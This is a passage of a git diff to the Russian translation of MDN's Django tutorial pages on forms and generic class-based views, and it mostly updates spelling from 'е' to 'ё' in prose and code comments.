<code>ValidationError</code>, в котором указываем текст, который мы хотим показать на форме, для случая когда были введены неправильные данные. Пример, показанный выше, оборачивает данный текст при помощи <a href="https://docs.djangoproject.com/en/1.10/topics/i18n/translation/">функции перевода Django</a> <code>ugettext_lazy()</code> (импортируемую через <code>_()</code>), которая может вам пригодиться, если вы планируете перевести ваш сайт в будущем.</p> @@ -208,14 +208,14 @@ class RenewBookForm(forms.Form): <p>Данная конфигурация перенаправит запросы с адресов формата <strong>/catalog/book/<em><bookinstance id></em>/renew/</strong> в функции с именем <code>renew_book_librarian()</code> в <strong>views.py</strong>, туда же передаст идентификатор id записи <code>BookInstance</code> в качестве параметра с именем <code>pk</code>. Шаблон соответствует только если <strong>pk </strong>это правильно отформатированный <strong>uiid.</strong></p> <div class="note"> -<p><strong>Примечание</strong>: Вместо имени "pk" мы можем использовать любое другое, по нашему желанию, потому что мы имеем полный контроль над функцией отображения (которого у нас нет в случае использования встроенного обобщенного класса отображения, который ожидает параметр с определенным именем). Тем не менее имя <code>pk</code> является понятным сокращением от "primary key", поэтому мы его тут и используем!</p> +<p><strong>Примечание</strong>: Вместо имени "pk" мы можем использовать любое другое, по нашему желанию, потому что мы имеем полный контроль над функцией отображения (которого у нас нет в случае использования встроенного обобщённого класса отображения, который ожидает параметр с определённым именем). Тем не менее имя <code>pk</code> является понятным сокращением от "primary key", поэтому мы его тут и используем!</p> </div> <h3 id="Отображение">Отображение</h3> -<p>Как было отмечено в разделе <a href="#Процесс_управления_формой_в_Django">Процесс управление формой в Django</a>, отображение должно отрендерить форму по умолчанию, когда она вызывается в первый раз и, затем, перерендерить ее, в том случае, если возникли какие-либо ошибки при работе с ее полями. В случае же успеха, после обработки "правильных" данных отображение перенаправляет пользователя на новую (другую) страницу. Для того чтобы выполнить все эти действия, отображение должно знать вызвано ли оно в первый раз для отрисовки формы по умолчанию, а если это не так, то провести валидацию полученных данных.</p> +<p>Как было отмечено в разделе <a href="#Процесс_управления_формой_в_Django">Процесс управление формой в Django</a>, отображение должно отрендерить форму по умолчанию, когда она вызывается в первый раз и, затем, перерендерить её, в том случае, если возникли какие-либо ошибки при работе с её полями. В случае же успеха, после обработки "правильных" данных отображение перенаправляет пользователя на новую (другую) страницу. Для того чтобы выполнить все эти действия, отображение должно знать вызвано ли оно в первый раз для отрисовки формы по умолчанию, а если это не так, то провести валидацию полученных данных.</p> -<p>Для форм, которые используют <code>POST</code>-запрос при отправке информации на сервер, наиболее общей схемой проверки данного факта является следующая строка кода <code>if request.method == 'POST':</code>. <code>GET</code>-запросу, а также первому запросу формы, в таком случае соответствует блок <code>else</code>. Если вы хотите отправлять свои данные в виде <code>GET</code>-запроса, то в таком случае приемом проверки того факта, что данный запрос первый (или последующий), является получение значения какого-либо поля формы (например, если значение скрытого поля формы пустое, то данный вызов является первым).</p> +<p>Для форм, которые используют <code>POST</code>-запрос при отправке информации на сервер, наиболее общей схемой проверки данного факта является следующая строка кода <code>if request.method == 'POST':</code>. <code>GET</code>-запросу, а также первому запросу формы, в таком случае соответствует блок <code>else</code>. Если вы хотите отправлять свои данные в виде <code>GET</code>-запроса, то в таком случае приёмом проверки того факта, что данный запрос первый (или последующий), является получение значения какого-либо поля формы (например, если значение скрытого поля формы пустое, то данный вызов является первым).</p> <p>Процесс обновления книги приводит к изменению информации в базе данных, таким образом, в соответствии с нашими соглашениями, в таком случае мы должны применять запрос типа <code>POST</code>. Фрагмент кода, представленный ниже, показывает (наиболее общую) схему работы для таких запросов. </p> @@ -232,7 +232,7 @@ def renew_book_librarian(request, pk): # Если данный запрос типа POST, тогда <strong> if request.method == 'POST':</strong> - # Создаем экземпляр формы и заполняем данными из запроса (связывание, binding): + # Создаём экземпляр формы и заполняем данными из запроса (связывание, binding): form = RenewBookForm(request.POST) # Проверка валидности данных формы: @@ -245,7 +245,7 @@ def renew_book_librarian(request, pk): # Переход по адресу 'all-borrowed': return HttpResponseRedirect(reverse('all-borrowed') ) - # Если это GET (или какой-либо еще), создать форму по умолчанию. + # Если это GET (или какой-либо ещё), создать форму по умолчанию. <strong> else:</strong> proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) @@ -255,33 +255,33 @@ def renew_book_librarian(request, pk): <p>В первую очередь мы импортируем наш класс формы (<code>RenewBookForm</code>), а также другие необходимые объекты и методы:</p> <ul> - <li><code><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: Возвращает определенный объект из модели в зависимости от значения его первичного ключа, или выбрасывает исключение <code>Http404</code>, если данной записи не существует. </li> + <li><code><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: Возвращает определённый объект из модели в зависимости от значения его первичного ключа, или выбрасывает исключение <code>Http404</code>, если данной записи не существует. </li> <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code>: Данный класс перенаправляет на другой адрес (HTTP код статуса 302). </li> <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#django.urls.reverse">reverse()</a></code>: Данная функция генерирует URL-адрес при помощи соответствующего имени URL конфигурации/преобразования и дополнительных аргументов. Это эквивалент Python тэгу <code>url</code>, которые мы использовали в наших шаблонах.</li> <li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code>: Библиотека Python для работы с датами и временим. </li> </ul> -<p>В отображении аргумент <code>pk</code> мы используем в функции<code>get_object_or_404()</code> для получения текущего объекта типа <code>BookInstance</code> (если его не существует, то функция, а следом и наше отображение прервут свое выполнение, а на странице пользователя отобразится сообщение об ошибке: "объект не найден"). Если запрос вызова отображения <em>не является</em> <code>POST</code>-запросом, то мы переходим к условному блоку <code>else</code>, в котором мы создаем форму по умолчанию и передаем ей начальное значения<code>initial</code> для поля <code>renewal_date</code> (выделено жирным ниже, - 3 недели, начиная с текущей даты). </p> +<p>В отображении аргумент <code>pk</code> мы используем в функции<code>get_object_or_404()</code> для получения текущего объекта типа <code>BookInstance</code> (если его не существует, то функция, а следом и наше отображение прервут своё выполнение, а на странице пользователя отобразится сообщение об ошибке: "объект не найден"). Если запрос вызова отображения <em>не является</em> <code>POST</code>-запросом, то мы переходим к условному блоку <code>else</code>, в котором мы создаём форму по умолчанию и передаём ей начальное значения<code>initial</code> для поля <code>renewal_date</code> (выделено жирным ниже, - 3 недели, начиная с текущей даты). </p> <pre class="brush: python notranslate"> book_inst = get_object_or_404(BookInstance, pk=pk) - # Если это GET (или другой метод), тогда создаем форму по умолчанию + # Если это GET (или другой метод), тогда создаём форму по умолчанию <strong>else:</strong> proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>) <strong>form = RenewBookForm(initial={'</strong>renewal_date<strong>': </strong>proposed_renewal_date<strong>,})</strong> return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> -<p>После создания формы мы вызываем функцию <code>render()</code>, чтобы создать HTML страницу; передаем ей в качестве параметров шаблон и контекст, который содержит объект формы. Кроме того, контекст содержит объект типа <code>BookInstance</code>, который мы будем использовать в шаблоне, для получения информации об обновляемой книге.</p> +<p>После создания формы мы вызываем функцию <code>render()</code>, чтобы создать HTML страницу; передаём ей в качестве параметров шаблон и контекст, который содержит объект формы. Кроме того, контекст содержит объект типа <code>BookInstance</code>, который мы будем использовать в шаблоне, для получения информации об обновляемой книге.</p> -<p>Если все таки у нас <code>POST</code>-запрос, тогда мы создаем объект с именем <code>form</code> и заполняем его данными, полученными из запроса. Данный процесс называется связыванием (или, биндингом, от англ. "binding") и позволяет нам провести валидацию данных. Далее осуществляется валидация формы, при этом проверяются все поля формы — для этого используются как код обобщенного класса, так и пользовательских функций, в частности нашей функции проверки введенных дат <code>clean_renewal_date()</code>. </p> +<p>Если все таки у нас <code>POST</code>-запрос, тогда мы создаём объект с именем <code>form</code> и заполняем его данными, полученными из запроса. Данный процесс называется связыванием (или, биндингом, от англ. "binding") и позволяет нам провести валидацию данных. Далее осуществляется валидация формы, при этом проверяются все поля формы — для этого используются как код обобщённого класса, так и пользовательских функций, в частности нашей функции проверки введённых дат <code>clean_renewal_date()</code>. </p> <pre class="brush: python notranslate"> book_inst = get_object_or_404(BookInstance, pk=pk) # Если данный запрос типа POST, тогда if request.method == 'POST': - # Создаем экземпляр формы и заполняем данными из запроса (связывание, binding): + # Создаём экземпляр формы и заполняем данными из запроса (связывание, binding): <strong> form = RenewBookForm(request.POST)</strong> # Проверка валидности формы: @@ -305,7 +305,7 @@ def renew_book_librarian(request, pk): <p>Последним шагом в части обработки формы представления является перенаправление на другую страницу, обычно страницу «Успех». В нашем случае мы используем объект класса <code>HttpResponseRedirect</code> и функцию <code>reverse()</code> для перехода к отображению с именем <code>'all-borrowed'</code> (это было домашним заданием в <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Руководство часть 8: Аутентификация и разграничение доступа</a>). Если вы не создали данную страницу, то просто укажите переход на домашнюю страницу сайта по адресу '/').</p> -<p>Все это необходимо для управления формой как таковой, но нам нужно как-то ограничить доступ к отображению (открыть доступ только библиотекарям). Мы могли бы создать новое разрешение (permission) в классе <code>BookInstance</code> ("<code>can_renew</code>"), но мы пойдем простым путем и воспользуемся функцией-декоратором <code>@permission_required</code> вместе с нашим существующим разрешением<code>can_mark_returned</code>.</p> +<p>Все это необходимо для управления формой как таковой, но нам нужно как-то ограничить доступ к отображению (открыть доступ только библиотекарям). Мы могли бы создать новое разрешение (permission) в классе <code>BookInstance</code> ("<code>can_renew</code>"), но мы пойдём простым путём и воспользуемся функцией-декоратором <code>@permission_required</code> вместе с нашим существующим разрешением<code>can_mark_returned</code>.</p> <p>Окончательный вид отображения показан ниже. Пожалуйста, скопируйте данный текст в нижнюю часть файла <strong>locallibrary/catalog/views.py</strong>.</p> @@ -369,12 +369,12 @@ def renew_book_librarian(request, pk): {% endblock %}</pre> -<p>Большая его часть вам знакома из предыдущих частей руководства. Мы расширяем базовый шаблон, а затем замещаем блок содержимого <code>content</code>. У нас имеется возможность ссылаться на переменную <code>\{{bookinst}}</code> (и ее поля) поскольку мы передали ее в объект контекста при вызове функции <code>render()</code>. Здесь мы используем данный объект для вывода заголовка книги, дат ее получения и возврата.</p> +<p>Большая его часть вам знакома из предыдущих частей руководства. Мы расширяем базовый шаблон, а затем замещаем блок содержимого <code>content</code>. У нас имеется возможность ссылаться на переменную <code>\{{bookinst}}</code> (и её поля) поскольку мы передали её в объект контекста при вызове функции <code>render()</code>. Здесь мы используем данный объект для вывода заголовка книги, дат её получения и возврата.</p> -<p>Код формы относительно прост. В первую очередь мы объявляем тэг<code>form</code>, затем определяем куда будут отправлены данные (<code>action</code>) и каким способом (<code>method</code>, в данном случае "HTTP POST") — если обратитесь к обзору раздела <a href="#HTML_forms">Формы HTML</a> в верхней части данной страницы, то найдете там замещение, что пустое значение атрибута <code>action</code>, означает, что данные из формы будут переданы обратно по текущему URL-адресу данной страницы (чего мы и хотим!). Внутри тэга формы мы объявляем кнопку <code>submit</code> при помощи которой мы можем отправить наши данные. Блок <code>{% csrf_token %}</code>, добавленный первой строкой внутри блока формы, является частью фреймворка Django и служит для борьбы с CSRF.</p> +<p>Код формы относительно прост. В первую очередь мы объявляем тэг<code>form</code>, затем определяем куда будут отправлены данные (<code>action</code>) и каким способом (<code>method</code>, в данном случае "HTTP POST") — если обратитесь к обзору раздела <a href="#HTML_forms">Формы HTML</a> в верхней части данной страницы, то найдёте там замещение, что пустое значение атрибута <code>action</code>, означает, что данные из формы будут переданы обратно по текущему URL-адресу данной страницы (чего мы и хотим!). Внутри тэга формы мы объявляем кнопку <code>submit</code> при помощи которой мы можем отправить наши данные. Блок <code>{% csrf_token %}</code>, добавленный первой строкой внутри блока формы, является частью фреймворка Django и служит для борьбы с CSRF.</p> <div class="note"> -<p><strong>Примечание:</strong> Добавляйте <code>{% csrf_token %}</code> в каждый шаблон Django, в котором вы создаете форму для отправки данных методом <code>POST</code>. Это поможет уменьшить вероятность взлома вашего сайта злоумышленниками.</p> +<p><strong>Примечание:</strong> Добавляйте <code>{% csrf_token %}</code> в каждый шаблон Django, в котором вы создаёте форму для отправки данных методом <code>POST</code>. Это поможет уменьшить вероятность взлома вашего сайта злоумышленниками.</p> </div> <p>Все что осталось, это указать переменную <code>\{{form}}</code>, которую мы передали в шаблон в словаре контекста. Возможно это вас не удивит, но таким образом мы предоставим возможность форме отрендерить свои поля с их метками, виджетами и дополнительными текстами, и в результате мы получим следующее:</p> @@ -390,7 +390,7 @@ def renew_book_librarian(request, pk): </pre> <div class="note"> -<p><strong>Примечание:</strong> Возможно это не очевидно, поскольку наша форма содержит только одно поле, но по умолчанию каждое поле формы помещается в ее собственную строку таблицы (поэтому переменная <code>\{{form}}</code> находится внутри тэга <code>table </code>. Тот же результат можно получить, если воспользоваться следующим вызовом <code>\{{ form.as_table }}</code>.</p> +<p><strong>Примечание:</strong> Возможно это не очевидно, поскольку наша форма содержит только одно поле, но по умолчанию каждое поле формы помещается в её собственную строку таблицы (поэтому переменная <code>\{{form}}</code> находится внутри тэга <code>table </code>. Тот же результат можно получить, если воспользоваться следующим вызовом <code>\{{ form.as_table }}</code>.</p> </div> <p>Если вы ввели неправильную дату, то на странице вы должны получить список сообщений об ошибках (показано жирным ниже).</p> @@ -411,7 +411,7 @@ def renew_book_librarian(request, pk): <p>В простом случае применения <code>\{{form}}</code> как показано выше, каждое поле рендерится в виде отдельной строки таблицы. Кроме того, вы можете отрендерить каждое поле как список элементов (<code>\{{form.as_ul}}</code> ), или как параграф (<code>\{{form.as_p}}</code>).</p> -<p>Что еще больше вдохновляет, так это то, что вы можете полностью контролировать процесс рендеринга любой части формы, используя для этого дот-нотацию (точку). Например, мы можем получить доступ к следующим полям поля формы <code>renewal_date</code>:</p> +<p>Что ещё больше вдохновляет, так это то, что вы можете полностью контролировать процесс рендеринга любой части формы, используя для этого дот-нотацию (точку). Например, мы можем получить доступ к следующим полям поля формы <code>renewal_date</code>:</p> <ul> <li><code>\{{form.renewal_date}}:</code> само поле.</li> @@ -425,7 +425,7 @@ def renew_book_librarian(request, pk): <h3 id="Тестирование_страницы">Тестирование страницы</h3> -<p>Если вы выполнили задание в <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django руководство часть 8: Аутентификация и разрешение доступа</a>, то у вас должна быть страница со списком всех книг в наличии библиотеки и данный список (страница) должен быть доступен только ее сотрудникам. На данной странице в каждом пункте (для каждой книги) мы можем добавить ссылку на нашу новую страницу обновления книги.</p> +<p>Если вы выполнили задание в <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django руководство часть 8: Аутентификация и разрешение доступа</a>, то у вас должна быть страница со списком всех книг в наличии библиотеки и данный список (страница) должен быть доступен только её сотрудникам. На данной странице в каждом пункте (для каждой книги) мы можем добавить ссылку на нашу новую страницу обновления книги.</p> <pre class="brush: html notranslate">{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %}</pre> @@ -508,15 +508,15 @@ class RenewBookModelForm(ModelForm): <p>Теперь класс <code>RenewBookModelForm</code> является функциональным эквивалентом нашему предыдущему классу <code>RenewBookForm</code>. Вы можете импортировать и использовать его в тех же местах, где и <code>RenewBookForm</code>.</p> -<h2 id="Обобщенные_классы_отображения_для_редактирования">Обобщенные классы отображения для редактирования</h2> +<h2 id="Обобщённые_классы_отображения_для_редактирования">Обобщённые классы отображения для редактирования</h2> -<p>Алгоритм управления формой, который мы использовали в нашей функции отображения, является примером достаточно общего подхода к работе с формой. Django старается абстрагировать и упростить большую часть данной работы, путем широкого применения <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">обобщенных классов отображений</a>, которые служат для создания, редактирования и удаления отображений на основе моделей. Они не только управляют поведением отображения, но, кроме того, они из вашей модели автоматически создают класс формы (<code>ModelForm</code>).</p> +<p>Алгоритм управления формой, который мы использовали в нашей функции отображения, является примером достаточно общего подхода к работе с формой. Django старается абстрагировать и упростить большую часть данной работы, путём широкого применения <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">обобщённых классов отображений</a>, которые служат для создания, редактирования и удаления отображений на основе моделей. Они не только управляют поведением отображения, но, кроме того, они из вашей модели автоматически создают класс формы (<code>ModelForm</code>).</p> <div class="note"> -<p><strong>Примечание: </strong>В дополнение к отображениям для редактирования, описываемых здесь, существует также класс <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#formview">FormView</a>, который по своему предназначению находится где-то между "простой" функцией отображения и другими обобщенными отображениями, то есть в каком-то смысле, в диапазоне: "гибкость" против "усилия при программировании". Применяя <code>FormView,</code> вы все еще нуждаетесь в создании класса <code>Form</code>, но вам не нужно реализовывать весь "стандартный" функционал работы с формой. Вместо этого, вы должны просто реализовать функцию, которая будет вызвана в тот момент, когда станет понятно, что получаемые из формы данные, "правильные" (валидны).</p> +<p><strong>Примечание: </strong>В дополнение к отображениям для редактирования, описываемых здесь, существует также класс <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#formview">FormView</a>, который по своему предназначению находится где-то между "простой" функцией отображения и другими обобщёнными отображениями, то есть в каком-то смысле, в диапазоне: "гибкость" против "усилия при программировании". Применяя <code>FormView,</code> вы все ещё нуждаетесь в создании класса <code>Form</code>, но вам не нужно реализовывать весь "стандартный" функционал работы с формой. Вместо этого, вы должны просто реализовать функцию, которая будет вызвана в тот момент, когда станет понятно, что получаемые из формы данные, "правильные" (валидны).</p> </div> -<p>В данном разделе мы собираемся использовать обобщенные классы для редактирования, для того, чтобы создать страницы, который добавляют функционал создания, редактирования и удаления записей типа <code>Author</code> из нашей библиотеки — предоставляя базовый функционал некоторых частей административной части сайта (это может быть полезно для случаев, когда вам нужно создать административную часть сайта, которая, в отличие от стандартной, была бы более гибкой).</p> +<p>В данном разделе мы собираемся использовать обобщённые классы для редактирования, для того, чтобы создать страницы, который добавляют функционал создания, редактирования и удаления записей типа <code>Author</code> из нашей библиотеки — предоставляя базовый функционал некоторых частей административной части сайта (это может быть полезно для случаев, когда вам нужно создать административную часть сайта, которая, в отличие от стандартной, была бы более гибкой).</p> <h3 id="Отображения">Отображения</h3> @@ -630,9 +630,9 @@ class AuthorDelete(DeleteView): <h2 id="Итоги">Итоги</h2> -<p>Создание и управление формами может быть достаточно сложным! Django делает этот процесс намного проще, предоставляя прикладные механизмы объявления, рендеринга и проверки форм. Более того, Django предоставляет обобщенные классы редактирования форм, которые могут выполнять <em>практически любую</em> работу по созданию, редактированию и удалению записей, связанных с одиночной моделью.</p> +<p>Создание и управление формами может быть достаточно сложным! Django делает этот процесс намного проще, предоставляя прикладные механизмы объявления, рендеринга и проверки форм. Более того, Django предоставляет обобщённые классы редактирования форм, которые могут выполнять <em>практически любую</em> работу по созданию, редактированию и удалению записей, связанных с одиночной моделью.</p> -<p>Существует много чего еще, что можно делать с формами (ознакомьтесь со списком ниже), но теперь вы должны понимать как добавлять базовые формы и создавать код управления формой на вашем сайте. </p> +<p>Существует много чего ещё, что можно делать с формами (ознакомьтесь со списком ниже), но теперь вы должны понимать как добавлять базовые формы и создавать код управления формой на вашем сайте. </p> <h2 id="Смотрите_также">Смотрите также</h2> @@ -644,7 +644,7 @@ class AuthorDelete(DeleteView): <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Класс Form и валидация поля</a> (Django docs)</li> <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/">Управление классом Form из классов отображений</a> (Django docs)</li> <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">Создание форм из моделей</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">Обобщенные отображения для редактирования</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">Обобщённые отображения для редактирования</a> (Django docs)</li> </ul> <p>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/generic_views/index.html b/files/ru/learn/server-side/django/generic_views/index.html index 97072e9413..2cb9c4eab0 100644 --- a/files/ru/learn/server-side/django/generic_views/index.html +++ b/files/ru/learn/server-side/django/generic_views/index.html @@ -12,7 +12,7 @@ translation_of: Learn/Server-side/Django/Generic_views <div>{{LearnSidebar}}<br> {{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div> -<p class="summary">Данная часть расширяет наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя в него списки и страницы, путем предоставления подробной информации о книгах и авторах. В текущей части мы подробно изучим обобщенные базовые классы отображения и покажем как они могут существенно сократить количество кода, который вы должны были бы написать в обычной ситуации. Кроме того, мы более подробно рассмотрим управление и настройки URL-адресов, показывая как выполнить простое сопоставление какой-либо строки паттерну регулярного выражения.</p> +<p class="summary">Данная часть расширяет наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя в него списки и страницы, путём предоставления подробной информации о книгах и авторах. В текущей части мы подробно изучим обобщённые базовые классы отображения и покажем как они могут существенно сократить количество кода, который вы должны были бы написать в обычной ситуации. Кроме того, мы более подробно рассмотрим управление и настройки URL-адресов, показывая как выполнить простое сопоставление какой-либо строки паттерну регулярного выражения.</p> <table class="learn-box standard-table"> <tbody> @@ -22,7 +22,7 @@ translation_of: Learn/Server-side/Django/Generic_views </tr> <tr> <th scope="row">Цель:</th> - <td>Понимать где и как применять обобщенные базовые классы отображения, и как применять паттерны URL-адресов для передачи информации в отображения.</td> + <td>Понимать где и как применять обобщённые базовые классы отображения, и как применять паттерны URL-адресов для передачи информации в отображения.</td> </tr> </tbody> </table> @@ -31,9 +31,9 @@ translation_of: Learn/Server-side/Django/Generic_views <p>В данном руководстве мы завершим первую версию сайта <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, с помощью добавления страницы перечисления и подробной информации о книгах и авторах (или, если быть более точными, мы покажем как вам реализовать соответствующие страницы для книг, а для авторов вы сможете сделать их самостоятельно!)</p> -<p>Данный процесс похож на создание главной страницы сайта, который мы показывали в предыдущей части руководства. Нам все также надо создать URL-преобразования, отображения и шаблоны страниц. Основным отличием будет то, что для страниц подробной информации перед нами встанет дополнительная задача получения информации из паттерна URL-адреса и передачи ее отображению. Для этих страниц мы собираемся продемонстрировать совершенно другой тип отображения, основанный на применении обобщенных классов отображения списка и детальной информации о записи. Это может существенно сократить количество кода, необходимого для отображения и сделает его (код) более простым для написания и поддержки.</p> +<p>Данный процесс похож на создание главной страницы сайта, который мы показывали в предыдущей части руководства. Нам все также надо создать URL-преобразования, отображения и шаблоны страниц. Основным отличием будет то, что для страниц подробной информации перед нами встанет дополнительная задача получения информации из паттерна URL-адреса и передачи её отображению. Для этих страниц мы собираемся продемонстрировать совершенно другой тип отображения, основанный на применении обобщённых классов отображения списка и детальной информации о записи. Это может существенно сократить количество кода, необходимого для отображения и сделает его (код) более простым для написания и поддержки.</p> -<p>Завершающая часть данного руководства будет посвящена демонстрации постраничного показа ваших данных (pagination) при применении обобщенного класса отображения списка.</p> +<p>Завершающая часть данного руководства будет посвящена демонстрации постраничного показа ваших данных (pagination) при применении обобщённого класса отображения списка.</p> <h2 id="Страница_со_списком_книг">Страница со списком книг</h2> @@ -56,11 +56,11 @@ urlpatterns = [ <p>Функция отображения имеет другой формат, чем ранее — это связано с тем, что данное отображение реализуется через класс. Мы будем наследоваться от существующей общей функции из <strong>view</strong>, которая уже делает большую часть того, что мы хотим, что нам и нужно, вместо того, чтобы писать свою собственную функцию во <strong>view</strong> с нуля.</p> -<p>При использовании обобщенных классов отображения в Django мы получаем доступ к соответствующей функции отображения при помощи вызова метода <code>as_view()</code>. Таким образом выполняется вся работа по созданию экземпляра класса и гарантируется вызов правильных методов для входящих HTTP-запросов.</p> +<p>При использовании обобщённых классов отображения в Django мы получаем доступ к соответствующей функции отображения при помощи вызова метода <code>as_view()</code>. Таким образом выполняется вся работа по созданию экземпляра класса и гарантируется вызов правильных методов для входящих HTTP-запросов.</p> <h3 id="Отображение_(на_основе_базового_класса)">Отображение (на основе базового класса)</h3> -<p>Мы могли бы достаточно просто реализовать отображение списка книг при помощи обычной функции (также, как мы сделали это для главной страницы сайта), которая должны была бы выполнить запрос получения всех книг из базы данных, затем вызвать функцию <code>render()</code>, в которую передать данный список, в соответствующий шаблон страницы. Тем не менее, вместо это мы будем использовать обобщенный класс отображения списка — класс, который наследуется от существующего отображения (ListView). Поскольку обобщенный класс уже реализует большую часть того, что нам нужно, и следуя лучшим практикам Django, мы сможем создать более эффективный список при помощи меньшего количества кода, меньшего количества повторений и гораздо лучшей поддержкой.</p> +<p>Мы могли бы достаточно просто реализовать отображение списка книг при помощи обычной функции (также, как мы сделали это для главной страницы сайта), которая должны была бы выполнить запрос получения всех книг из базы данных, затем вызвать функцию <code>render()</code>, в которую передать данный список, в соответствующий шаблон страницы. Тем не менее, вместо это мы будем использовать обобщённый класс отображения списка — класс, который наследуется от существующего отображения (ListView). Поскольку обобщённый класс уже реализует большую часть того, что нам нужно, и следуя лучшим практикам Django, мы сможем создать более эффективный список при помощи меньшего количества кода, меньшего количества повторений и гораздо лучшей поддержкой.</p> <p>Откройте <strong>catalog/views.py</strong> и скопируйте следующий код, в нижнюю часть данного файла:</p> @@ -69,10 +69,10 @@ urlpatterns = [ class BookListView(generic.ListView): model = Book</pre> -<p>Это всё! Обобщенное отображение выполнит запрос к базе данных, получит все записи заданной модели (<code>Book</code>), затем отрендерит (отрисует) соответствующий шаблон, расположенный в <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> (который мы создадим позже). Внутри данного шаблона вы можете получить доступ к списку книг при помощи переменной шаблона <code>object_list</code> ИЛИ <code>book_list</code> (если обобщить, то "<code><em>the_model_name</em>_list</code>").</p> +<p>Это всё! Обобщённое отображение выполнит запрос к базе данных, получит все записи заданной модели (<code>Book</code>), затем отрендерит (отрисует) соответствующий шаблон, расположенный в <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> (который мы создадим позже). Внутри данного шаблона вы можете получить доступ к списку книг при помощи переменной шаблона <code>object_list</code> ИЛИ <code>book_list</code> (если обобщить, то "<code><em>the_model_name</em>_list</code>").</p> <div class="note"> -<p><strong>Примечание</strong>: Этот, выглядящий странно, путь к файлу шаблона не является опечаткой — обобщенное отображение ищет файл шаблона <code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code>, в данном случае) внутри директории приложения <code>/<em>application_name</em>/templates/</code> (у нас - <code>/catalog/templates/)</code>.</p> +<p><strong>Примечание</strong>: Этот, выглядящий странно, путь к файлу шаблона не является опечаткой — обобщённое отображение ищет файл шаблона <code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code>, в данном случае) внутри директории приложения <code>/<em>application_name</em>/templates/</code> (у нас - <code>/catalog/templates/)</code>.</p> </div> <p>Вы можете использовать атрибуты для того, чтобы изменить поведение по умолчанию. Например, вы могли бы указать другой файл шаблона, например, если в вашем распоряжении имеется несколько отображений, которые используют одну и ту же модель, или вам позарез захотелось бы использовать другое имя переменной шаблона, если <code>book_list</code> не является интуитивно понятным. Возможно, наиболее полезным вариантом является изменение/отфильтрованные результата запроса к базе данных — таким образом, вместо перечисления всех книг вы могли бы показывать 5 наиболее популярных.</p> @@ -96,7 +96,7 @@ class BookListView(generic.ListView): return Book.objects.filter(title__icontains='war')[:5] # Получить 5 книг, содержащих 'war' в заголовке </pre> -<p>Мы также могли бы переопределить метод <code>get_context_data()</code> для того, чтобы в контексте (в переменной контекста) передавать шаблону дополнительные переменные (например, список книг передается по умолчанию). Фрагмент, представленный ниже, показывает как добавить переменную с именем "some_data" в контекст (затем она будет доступна как переменная шаблона).</p> +<p>Мы также могли бы переопределить метод <code>get_context_data()</code> для того, чтобы в контексте (в переменной контекста) передавать шаблону дополнительные переменные (например, список книг передаётся по умолчанию). Фрагмент, представленный ниже, показывает как добавить переменную с именем "some_data" в контекст (затем она будет доступна как переменная шаблона).</p> <pre class="brush: python">class BookListView(generic.ListView): model = Book @@ -104,27 +104,27 @@ class BookListView(generic.ListView): def get_context_data(self, **kwargs): # В первую очередь получаем базовую реализацию контекста context = super(BookListView, self).get_context_data(**kwargs) - # Добавляем новую переменную к контексту и инициализируем ее некоторым значением + # Добавляем новую переменную к контексту и инициализируем её некоторым значением context['some_data'] = 'This is just some data' return context</pre> -<p>В процессе выполнения всего этого важно придерживаться определенной последовательности действий:</p> +<p>В процессе выполнения всего этого важно придерживаться определённой последовательности действий:</p> <ul> <li>В первую очередь - получить существующий контекст из нашего суперкласса.</li> <li>Затем добавить в контекст новую информацию.</li> - <li>Затем вернуть новый (обновленный) контекст.</li> + <li>Затем вернуть новый (обновлённый) контекст.</li> </ul> <div class="note"> -<p><strong>Примечание</strong>: Посмотрите <a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Встроенные обобщенные классы отображения</a> (Django docs) для ознакомления с большим количеством примеров того, что вы могли бы сделать.</p> +<p><strong>Примечание</strong>: Посмотрите <a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Встроенные обобщённые классы отображения</a> (Django docs) для ознакомления с большим количеством 